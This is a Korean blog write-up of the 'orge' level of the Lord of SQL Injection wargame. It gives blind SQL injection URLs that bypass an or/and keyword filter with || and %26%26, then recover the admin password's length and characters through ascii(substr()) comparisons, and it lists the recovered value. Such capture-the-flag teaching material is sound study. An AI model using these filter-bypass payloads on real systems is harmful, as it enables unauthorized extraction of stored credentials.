Lord Of SQL Injection [ 7.Orge ]

2017. 9. 12. 14:54WebHacking/Lord of SQL injection


 

 

preg_match 함수에서 or , and 사용을 금지하고 있고, 비밀번호를 GET방식으로 입력받고, add|ashes함수를 이용해 변환한 뒤 DB에 저장된 패스워드와 비교한다

5번 오크문제와 같은 패스워드를 유추하는 블라인드 인젝션 문제입니다

 


[ 패스워드 유추 과정 ]

1> 패스워드 길이를 알아낸다

URL: los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=9999' || id='admin' %26%26 length(pw)=8 %23 

 

2>패스워드의 첫번째 글자부터 유추한다

URL: los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=9999' || id='admin' %26%26 ascii(substr(pw,1,1))=54 %23

=> SELECT id FROM prob_orge WHERE ( id='guest' and pw='9999' ) || ( id='admin' && ascii(substr(pw,1,1)) ) =54 #'

 

1번째 글자 : ascii(substr( pw , 1, 1 ))  => 54      6

2번째 글자 : ascii(substr( pw , 2, 1 ))  => 99      c

3번째 글자 : ascii(substr( pw , 3, 1 ))  => 56      8

4번째 글자 : ascii(substr( pw , 4, 1 ))  => 54      6

5번째 글자 : ascii(substr( pw , 5, 1 ))  => 52      4

6번째 글자 : ascii(substr( pw , 6, 1 ))  => 100    d

7번째 글자 : ascii(substr( pw , 7, 1 ))  => 101    e

8번째 글자 : ascii(substr( pw , 8, 1 ))  => 99     c

9번째 글자 : ascii(substr( pw , 9, 1 ))  =>  0     null

 

3> 실행결과



4> 파이썬 비밀번호 자동화 프로그래밍



5> 실행결과